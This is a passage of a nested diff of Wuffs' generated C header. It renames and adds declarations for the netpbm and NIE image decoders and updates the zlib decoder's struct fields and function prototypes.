WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_image_config( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__decode_image_config( -+ wuffs_netpbm__decoder* self, - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_frame_config( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__decode_frame_config( -+ wuffs_netpbm__decoder* self, - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_frame( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__decode_frame( -+ wuffs_netpbm__decoder* self, - wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__pixel_blend a_blend, -@@ -10633,55 +11375,50 @@ wuffs_nie__decoder__decode_frame( - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_nie__decoder__frame_dirty_rect( -- const wuffs_nie__decoder* self); -+wuffs_netpbm__decoder__frame_dirty_rect( -+ const wuffs_netpbm__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_nie__decoder__num_animation_loops( -- const wuffs_nie__decoder* self); -+wuffs_netpbm__decoder__num_animation_loops( -+ const wuffs_netpbm__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__num_decoded_frame_configs( -- const wuffs_nie__decoder* self); -+wuffs_netpbm__decoder__num_decoded_frame_configs( -+ const wuffs_netpbm__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__num_decoded_frames( -- const wuffs_nie__decoder* self); -+wuffs_netpbm__decoder__num_decoded_frames( -+ const wuffs_netpbm__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__restart_frame( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__restart_frame( -+ wuffs_netpbm__decoder* self, - uint64_t a_index, - uint64_t a_io_position); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_nie__decoder__set_report_metadata( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__set_report_metadata( -+ wuffs_netpbm__decoder* self, - uint32_t a_fourcc, - bool a_report); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__tell_me_more( -- wuffs_nie__decoder* self, -+wuffs_netpbm__decoder__tell_me_more( -+ wuffs_netpbm__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__history_retain_length( -- const wuffs_nie__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_nie__decoder__workbuf_len( -- const wuffs_nie__decoder* self); -+wuffs_netpbm__decoder__workbuf_len( -+ const wuffs_netpbm__decoder* self); - - #ifdef __cplusplus - } // extern "C" -@@ -10696,7 +11433,7 @@ wuffs_nie__decoder__workbuf_len( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_nie__decoder__struct { -+struct wuffs_netpbm__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -10713,40 +11450,36 @@ struct wuffs_nie__decoder__struct { - uint32_t f_pixfmt; - uint32_t f_width; - uint32_t f_height; -+ uint32_t f_max_value; - uint8_t f_call_sequence; -+ uint64_t f_frame_config_io_position; - uint32_t f_dst_x; - uint32_t f_dst_y; - wuffs_base__pixel_swizzler f_swizzler; - -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; - } private_impl; - -- struct { -- struct { -- uint64_t scratch; -- } s_do_decode_image_config[1]; -- } private_data; -- - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return unique_ptr(wuffs_nie__decoder__alloc()); -+ return unique_ptr(wuffs_netpbm__decoder__alloc()); - } - - static inline wuffs_base__image_decoder::unique_ptr - alloc_as__wuffs_base__image_decoder() { - return wuffs_base__image_decoder::unique_ptr( -- wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); -+ wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder()); - } - #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -10762,10 +11495,10 @@ struct wuffs_nie__decoder__struct { - // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in - // order to provide convenience methods. These forward on "this", so that you - // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -- wuffs_nie__decoder__struct() = delete; -- wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; -- wuffs_nie__decoder__struct& operator=( -- const wuffs_nie__decoder__struct&) = delete; -+ wuffs_netpbm__decoder__struct() = delete; -+ wuffs_netpbm__decoder__struct(const wuffs_netpbm__decoder__struct&) = delete; -+ wuffs_netpbm__decoder__struct& operator=( -+ const wuffs_netpbm__decoder__struct&) = delete; - #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - - #if !defined(WUFFS_IMPLEMENTATION) -@@ -10785,7 +11518,7 @@ struct wuffs_nie__decoder__struct { - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options) { -- return wuffs_nie__decoder__initialize( -+ return wuffs_netpbm__decoder__initialize( - this, sizeof_star_self, wuffs_version, options); - } - -@@ -10797,28 +11530,28 @@ struct wuffs_nie__decoder__struct { - inline uint64_t - get_quirk( - uint32_t a_key) const { -- return wuffs_nie__decoder__get_quirk(this, a_key); -+ return wuffs_netpbm__decoder__get_quirk(this, a_key); - } - - inline wuffs_base__status - set_quirk( - uint32_t a_key, - uint64_t a_value) { -- return wuffs_nie__decoder__set_quirk(this, a_key, a_value); -+ return wuffs_netpbm__decoder__set_quirk(this, a_key, a_value); - } - - inline wuffs_base__status - decode_image_config( - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { -- return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); -+ return wuffs_netpbm__decoder__decode_image_config(this, a_dst, a_src); - } - - inline wuffs_base__status - decode_frame_config( - wuffs_base__frame_config* a_dst, - wuffs_base__io_buffer* a_src) { -- return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); -+ return wuffs_netpbm__decoder__decode_frame_config(this, a_dst, a_src); - } - - inline wuffs_base__status -@@ -10828,41 +11561,41 @@ struct wuffs_nie__decoder__struct { - wuffs_base__pixel_blend a_blend, - wuffs_base__slice_u8 a_workbuf, - wuffs_base__decode_frame_options* a_opts) { -- return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ return wuffs_netpbm__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); - } - - inline wuffs_base__rect_ie_u32 - frame_dirty_rect() const { -- return wuffs_nie__decoder__frame_dirty_rect(this); -+ return wuffs_netpbm__decoder__frame_dirty_rect(this); - } - - inline uint32_t - num_animation_loops() const { -- return wuffs_nie__decoder__num_animation_loops(this); -+ return wuffs_netpbm__decoder__num_animation_loops(this); - } - - inline uint64_t - num_decoded_frame_configs() const { -- return wuffs_nie__decoder__num_decoded_frame_configs(this); -+ return wuffs_netpbm__decoder__num_decoded_frame_configs(this); - } - - inline uint64_t - num_decoded_frames() const { -- return wuffs_nie__decoder__num_decoded_frames(this); -+ return wuffs_netpbm__decoder__num_decoded_frames(this); - } - - inline wuffs_base__status - restart_frame( - uint64_t a_index, - uint64_t a_io_position) { -- return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); -+ return wuffs_netpbm__decoder__restart_frame(this, a_index, a_io_position); - } - - inline wuffs_base__empty_struct - set_report_metadata( - uint32_t a_fourcc, - bool a_report) { -- return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); -+ return wuffs_netpbm__decoder__set_report_metadata(this, a_fourcc, a_report); - } - - inline wuffs_base__status -@@ -10870,49 +11603,36 @@ struct wuffs_nie__decoder__struct { - wuffs_base__io_buffer* a_dst, - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src) { -- return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -- } -- -- inline uint64_t -- history_retain_length() const { -- return wuffs_nie__decoder__history_retain_length(this); -+ return wuffs_netpbm__decoder__tell_me_more(this, a_dst, a_minfo, a_src); - } - - inline wuffs_base__range_ii_u64 - workbuf_len() const { -- return wuffs_nie__decoder__workbuf_len(this); -+ return wuffs_netpbm__decoder__workbuf_len(this); - } - - #endif // __cplusplus --}; // struct wuffs_nie__decoder__struct -+}; // struct wuffs_netpbm__decoder__struct - - #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - --extern const char wuffs_zlib__note__dictionary_required[]; --extern const char wuffs_zlib__error__bad_checksum[]; --extern const char wuffs_zlib__error__bad_compression_method[]; --extern const char wuffs_zlib__error__bad_compression_window_size[]; --extern const char wuffs_zlib__error__bad_parity_check[]; --extern const char wuffs_zlib__error__incorrect_dictionary[]; --extern const char wuffs_zlib__error__truncated_input[]; -+extern const char wuffs_nie__error__bad_header[]; -+extern const char wuffs_nie__error__truncated_input[]; -+extern const char wuffs_nie__error__unsupported_nie_file[]; - - // ---------------- Public Consts - --#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976 -- --#define WUFFS_ZLIB__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -- --#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 -+#define WUFFS_NIE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - - // ---------------- Struct Declarations - --typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; -+typedef struct wuffs_nie__decoder__struct wuffs_nie__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -10927,14 +11647,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_zlib__decoder__initialize( -- wuffs_zlib__decoder* self, -+wuffs_nie__decoder__initialize( -+ wuffs_nie__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_zlib__decoder(void); -+sizeof__wuffs_nie__decoder(void); - - // ---------------- Allocs - -@@ -10944,65 +11664,107 @@ sizeof__wuffs_zlib__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_zlib__decoder* --wuffs_zlib__decoder__alloc(void); -+wuffs_nie__decoder* -+wuffs_nie__decoder__alloc(void); - --static inline wuffs_base__io_transformer* --wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { -- return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); -+static inline wuffs_base__image_decoder* -+wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); - } - - // ---------------- Upcasts - --static inline wuffs_base__io_transformer* --wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( -- wuffs_zlib__decoder* p) { -- return (wuffs_base__io_transformer*)p; -+static inline wuffs_base__image_decoder* -+wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_nie__decoder* p) { -+ return (wuffs_base__image_decoder*)p; - } - - // ---------------- Public Function Prototypes - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_zlib__decoder__dictionary_id( -- const wuffs_zlib__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_zlib__decoder__add_dictionary( -- wuffs_zlib__decoder* self, -- wuffs_base__slice_u8 a_dict); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_zlib__decoder__get_quirk( -- const wuffs_zlib__decoder* self, -+wuffs_nie__decoder__get_quirk( -+ const wuffs_nie__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_zlib__decoder__set_quirk( -- wuffs_zlib__decoder* self, -+wuffs_nie__decoder__set_quirk( -+ wuffs_nie__decoder* self, - uint32_t a_key, - uint64_t a_value); - -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_image_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_frame_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_frame( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_nie__decoder__frame_dirty_rect( -+ const wuffs_nie__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_nie__decoder__num_animation_loops( -+ const wuffs_nie__decoder* self); -+ - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_zlib__decoder__history_retain_length( -- const wuffs_zlib__decoder* self); -+wuffs_nie__decoder__num_decoded_frame_configs( -+ const wuffs_nie__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_zlib__decoder__workbuf_len( -- const wuffs_zlib__decoder* self); -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_nie__decoder__num_decoded_frames( -+ const wuffs_nie__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_zlib__decoder__transform_io( -- wuffs_zlib__decoder* self, -+wuffs_nie__decoder__restart_frame( -+ wuffs_nie__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_nie__decoder__set_report_metadata( -+ wuffs_nie__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__tell_me_more( -+ wuffs_nie__decoder* self, - wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_nie__decoder__workbuf_len( -+ const wuffs_nie__decoder* self); - - #ifdef __cplusplus - } // extern "C" -@@ -11017,7 +11779,7 @@ wuffs_zlib__decoder__transform_io( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_zlib__decoder__struct { -+struct wuffs_nie__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -11028,20 +11790,336 @@ struct wuffs_zlib__decoder__struct { - struct { - uint32_t magic; - uint32_t active_coroutine; -- wuffs_base__vtable vtable_for__wuffs_base__io_transformer; -+ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; - wuffs_base__vtable null_vtable; - -- bool f_bad_call_sequence; -- bool f_header_complete; -+ uint32_t f_pixfmt; -+ uint32_t f_width; -+ uint32_t f_height; -+ uint8_t f_call_sequence; -+ uint32_t f_dst_x; -+ uint32_t f_dst_y; -+ wuffs_base__pixel_swizzler f_swizzler; -+ -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ } private_impl; -+ -+ struct { -+ struct { -+ uint64_t scratch; -+ } s_do_decode_image_config; -+ } private_data; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+ -+ // On failure, the alloc_etc functions return nullptr. They don't throw. -+ -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_nie__decoder__alloc()); -+ } -+ -+ static inline wuffs_base__image_decoder::unique_ptr -+ alloc_as__wuffs_base__image_decoder() { -+ return wuffs_base__image_decoder::unique_ptr( -+ wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); -+ } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_nie__decoder__struct() = delete; -+ wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; -+ wuffs_nie__decoder__struct& operator=( -+ const wuffs_nie__decoder__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) -+ -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_nie__decoder__initialize( -+ this, sizeof_star_self, wuffs_version, options); -+ } -+ -+ inline wuffs_base__image_decoder* -+ upcast_as__wuffs_base__image_decoder() { -+ return (wuffs_base__image_decoder*)this; -+ } -+ -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_nie__decoder__get_quirk(this, a_key); -+ } -+ -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_nie__decoder__set_quirk(this, a_key, a_value); -+ } -+ -+ inline wuffs_base__status -+ decode_image_config( -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); -+ } -+ -+ inline wuffs_base__status -+ decode_frame_config( -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); -+ } -+ -+ inline wuffs_base__status -+ decode_frame( -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ } -+ -+ inline wuffs_base__rect_ie_u32 -+ frame_dirty_rect() const { -+ return wuffs_nie__decoder__frame_dirty_rect(this); -+ } -+ -+ inline uint32_t -+ num_animation_loops() const { -+ return wuffs_nie__decoder__num_animation_loops(this); -+ } -+ -+ inline uint64_t -+ num_decoded_frame_configs() const { -+ return wuffs_nie__decoder__num_decoded_frame_configs(this); -+ } -+ -+ inline uint64_t -+ num_decoded_frames() const { -+ return wuffs_nie__decoder__num_decoded_frames(this); -+ } -+ -+ inline wuffs_base__status -+ restart_frame( -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); -+ } -+ -+ inline wuffs_base__empty_struct -+ set_report_metadata( -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); -+ } -+ -+ inline wuffs_base__status -+ tell_me_more( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -+ } -+ -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_nie__decoder__workbuf_len(this); -+ } -+ -+#endif // __cplusplus -+}; // struct wuffs_nie__decoder__struct -+ -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) -+ -+// ---------------- Status Codes -+ -+extern const char wuffs_zlib__note__dictionary_required[]; -+extern const char wuffs_zlib__error__bad_checksum[]; -+extern const char wuffs_zlib__error__bad_compression_method[]; -+extern const char wuffs_zlib__error__bad_compression_window_size[]; -+extern const char wuffs_zlib__error__bad_parity_check[]; -+extern const char wuffs_zlib__error__incorrect_dictionary[]; -+extern const char wuffs_zlib__error__truncated_input[]; -+ -+// ---------------- Public Consts -+ -+#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976u -+ -+#define WUFFS_ZLIB__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u -+ -+#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u -+ -+// ---------------- Struct Declarations -+ -+typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; -+ -+#ifdef __cplusplus -+extern "C" { -+#endif -+ -+// ---------------- Public Initializer Prototypes -+ -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_zlib__decoder__initialize( -+ wuffs_zlib__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); -+ -+size_t -+sizeof__wuffs_zlib__decoder(void); -+ -+// ---------------- Allocs -+ -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. -+ -+wuffs_zlib__decoder* -+wuffs_zlib__decoder__alloc(void); -+ -+static inline wuffs_base__io_transformer* -+wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { -+ return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); -+} -+ -+// ---------------- Upcasts -+ -+static inline wuffs_base__io_transformer* -+wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( -+ wuffs_zlib__decoder* p) { -+ return (wuffs_base__io_transformer*)p; -+} -+ -+// ---------------- Public Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_zlib__decoder__dictionary_id( -+ const wuffs_zlib__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_zlib__decoder__add_dictionary( -+ wuffs_zlib__decoder* self, -+ wuffs_base__slice_u8 a_dict); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_zlib__decoder__get_quirk( -+ const wuffs_zlib__decoder* self, -+ uint32_t a_key); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_zlib__decoder__set_quirk( -+ wuffs_zlib__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_zlib__decoder__dst_history_retain_length( -+ const wuffs_zlib__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_zlib__decoder__workbuf_len( -+ const wuffs_zlib__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_zlib__decoder__transform_io( -+ wuffs_zlib__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+#ifdef __cplusplus -+} // extern "C" -+#endif -+ -+// ---------------- Struct Definitions -+ -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C -+ -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_zlib__decoder__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. -+ -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; -+ wuffs_base__vtable null_vtable; -+ -+ bool f_bad_call_sequence; -+ bool f_header_complete; - bool f_got_dictionary; - bool f_want_dictionary; - bool f_quirks[1]; - bool f_ignore_checksum; -- uint32_t f_dict_id_got; -+ uint32_t f_dict_id_have; - uint32_t f_dict_id_want; - -- uint32_t p_transform_io[1]; -- uint32_t p_do_transform_io[1]; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; - } private_impl; - - struct { -@@ -11050,9 +12128,9 @@ struct wuffs_zlib__decoder__struct { - wuffs_deflate__decoder f_flate; - - struct { -- uint32_t v_checksum_got; -+ uint32_t v_checksum_have; - uint64_t scratch; -- } s_do_transform_io[1]; -+ } s_do_transform_io; - } private_data; - - #ifdef __cplusplus -@@ -11141,9 